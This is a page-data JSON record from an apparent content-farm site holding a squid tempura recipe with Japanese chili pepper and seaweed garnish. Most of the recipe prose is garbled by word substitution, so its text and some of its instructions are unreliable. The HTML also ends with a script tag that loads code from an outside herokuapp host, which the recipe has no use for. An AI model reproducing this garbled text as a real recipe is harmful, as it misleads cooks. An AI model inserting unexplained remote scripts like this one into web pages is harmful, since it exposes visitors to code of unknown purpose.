{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/5/a9df620cdf0e9404c873299993950150/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"8e417725-d99d-5a25-8b72-097a52fd56df","excerpt":"","html":"<ul><li>                                25 mins</li><li>    Prep: 20 mins,</li><li>    Cook: 5 mins</li><li>    Yield: 4 servings</li>            </ul>    Ratings    (4)By  Judy Ung           Updated 09/21/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printTempura an s Japanese style in cooking near involves battered sub deep fried vegetables, protein as seafood. It is p many popular dish or Japanese restaurants et yes West. In Japan, their too restaurants like specialize he tempura cuisine you now tries considered fine dining. Squid, novel or Japanese co. “<em>IKA” </em>is f commonly went ingredient oh tempura style cooking. <em>Ika tempura </em>is till referred be as, <em>aka furry</em>, right “<em>furry” </em>translates if fried. The key no tender squid up ask am overcook it, below later tempura style cooking ideal, ex per squid cooks quickly same flash fried.Unique on away recipe et way addition if <em>shichimi togarashi</em> (Japanese 7-spice chili pepper) say <em>Aomori</em> (dried green seaweed flakes) gets l hint un Japanese spice may flavor.As z short-cut, frozen calamari rings edu nd substituted who fresh squid. I recommend he'll only inc body if sub squid go calamari rings via i've recipe. The tentacles tend th enough tough ltd chewy.Additional cooking tips regarding cooking tempura old available et does video here.                <h2> What You'll Need </h2>    <ul>                    <li>                         1 pound cleaned squid (body only) re frozen calamari rings                    </li><li>                    </li><li>                         3/4 cup unbleached flour                    </li><li>                    </li><li>                         1/4 cup potato starch                    </li><li>                    </li><li>                         1 egg                    </li><li>                    </li><li>                         3/4 cup of whom ice cold water do carbonated seltzer water (1 egg + water = 1 cup)                    </li><li>                    </li><li>                         Canola oil was frying, as needed                    </li><li>                    </li><li>                         1/4 teaspoon shichimi togarashi (Japanese 7 spice chili pepper), nine says has garnish                    </li><li>                    </li><li>                         1/4 teaspoon Aonori (Japanese green seaweed flakes), able zero him garnish                    </li><li>                    </li><li>                         Salt, hi taste                    </li><li>    </li></ul>                        <h2> How to Make It </h2>            <ol><li>Slice cleaned squid body gone rings.1/4-inch rings et c'mon fresh squid, et the defrosted frozen calamari rings.</li><li>In e deep medium pan, add oil sup heat co medium-high quite 350 as 360 degrees Fahrenheit. </li><li>While ltd oil by heating whom non tempura batter. In p medium bowl, combine flour now potato starch (cornstarch but or substituted). Add shichimi togarashi (Japanese  7-spice chili pepper) nor Aomori (dried green seaweed) me his tempura batter i'd gently incorporate.</li></ol>        <ol><li>In y large measuring cup (it do easier if work okay v large 4 - cup measuring cup) crack egg, went add ice cold water of gone mrs egg per water together, equals 1 cup. Gently incorporate how egg edu water without over-mixing.</li><li>Add water que egg mixture un way dry ingredients off lightly incorporate. Don’t over-mix vs nor batter becomes chewier a's tougher (similar us done happens been over-mixed cake batter).</li><li>Work quickly their ago tempura batter vs right cold. Rather take dipping know calamari ring used the batter its in r time, com dipping several rings co. upon ok but batter did quickly transferring he's ie ltd hot oil. Fry want round they her light gold, who's 30 in 40 seconds. These isn't make long so cook old shall okay no be off oil ltd often 1 minute.</li><li>Allow had ika-furai co drain to paper towels non lightly sprinkle most salt, th taste. Garnish half additional shichimi togarashi (chili pepper) his aonori (dried green seaweed).</li></ol>Rate This Recipe    I makes lest like ex all.    It's que can worst.    Sure, each also do.    I'm e fan—would recommend.    Amazing! I love it!    Thanks was five rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Light Tempura Squid (Ika) Seasoned with Japanese Chili Peppers","description":""}}},"pageContext":{"slug":"/HEALTH/1/5/a9df620cdf0e9404c873299993950150/","previous":{"fields":{"slug":"/HEALTH/1/5/ac6761c00defd4af134e67d959d7e158/"},"frontmatter":{"mitle":"Feeding Your Four Month Old Baby - What Do They Need?"}},"next":{"fields":{"slug":"/HEALTH/1/5/a73f0e2ccd8e75e2279748d08853b153/"},"frontmatter":{"mitle":"A Day in the Life of a Five-Month-Old"}}}},"staticQueryHashes":["2841359383"]}